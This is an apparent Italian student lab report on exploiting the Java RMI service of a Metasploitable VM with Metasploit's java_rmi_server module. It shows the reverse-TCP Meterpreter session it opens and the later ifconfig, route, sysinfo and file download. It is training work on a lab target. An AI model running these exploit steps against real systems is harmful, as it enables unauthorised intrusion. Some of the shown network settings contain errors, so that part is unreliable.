

PROJECT MODULE 4

FATIMA NARDA NICOLETT RODRIGUEZ ORTEGA

1) TRACCIA

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

2) SVOLGIMENTO

● CONFIGURAZIONE IP

```
GNU nano 7.2 /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback
#iface lo dhcp loopback

# The primary network interface
auto eth0
iface lo inet static
address 192.168.11.111/24
netmask 255.255.11.1
gateway 192.168.11.111
```

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback
iface lo dhcp loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp
iface eth0 inet static
address 192.168.11.112
netmask 255.255.11.1
gateway 192.168.11.112

[ Read 15 lines ]
^G Get Help  ^O WriteOut  ^R Read File  ^Y Prev Page  ^K Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page  ^U UnCut Text ^T To Spell
```

Su Kali Linux e Metasploitable, lanciamo il comando:
“`sudo nano /etc/network/interfaces`” per configurare i rispettivi indirizzi IP.

- **EXPLOIT VULNERABILITÀ (porta 1099 - Java RMI)**

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

File system

< HONK >

KALI
PURPLE

=[ metasploit v6.3.51-dev ]
+ --=[ 2384 exploits - 1235 auxiliary - 418 post ]
+ --=[ 1391 payloads - 46 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Avviamo Metasploit su Kali Linux lanciando il comando “`msfconsole`”.

```
msf6 > search java_rmi

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interface Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
```

Cerchiamo dei moduli nel database di Metasploit che hanno *java_rmi* nel loro nome o nella loro descrizione. Decidiamo di usare il modulo numero 1: “*exploit/multi/misc/java_rmi_server*” che consente di creare un server Java RMI (Remote Method Invocation) e aprirà una shell interattiva Meterpreter che ci consente di eseguire comandi su Metasploitable, il nostro SO target.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address o
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

Con il comando “*show options*” notiamo che il *RHOSTS*, l'IP del target, non è presente e quindi lo aggiungiamo lanciando “*set RHOSTS 192.168.11.112*”. *LHOST*, l'IP attaccante che ascolta, è presente.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/t30tVzSC6
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:42190) at 2024-02-26 03:35:39 -0500
```

Lanciamo il comando “*exploit*” per eseguire il payload, per ottenere una sessione remota Meterpreter attraverso il server Java RMI. Adesso possiamo raccogliere informazioni sensibili di Metasploitable da remoto:

Configurazione di rete

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe84:6c2
IPv6 Netmask : ::
```

Tabella di routing

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            eth0
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            eth0
fe80::a00:27ff:fe84:6c2 ::           ::           0            eth0
```

Informazioni del sistema

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Download del file /etc/network/interfaces

```
meterpreter > download /etc/network/interfaces
[*] Downloading: /etc/network/interfaces → /home/kali/interfaces
[*] Skipped    : /etc/network/interfaces → /home/kali/interfaces

(kali@kali)-[~]
$ nano interfaces
```

```
GNU nano 7.2 interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback
#iface lo dhcp loopback

# The primary network interface
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.11.112
netmask 255.255.11.1
gateway 192.168.11.112
```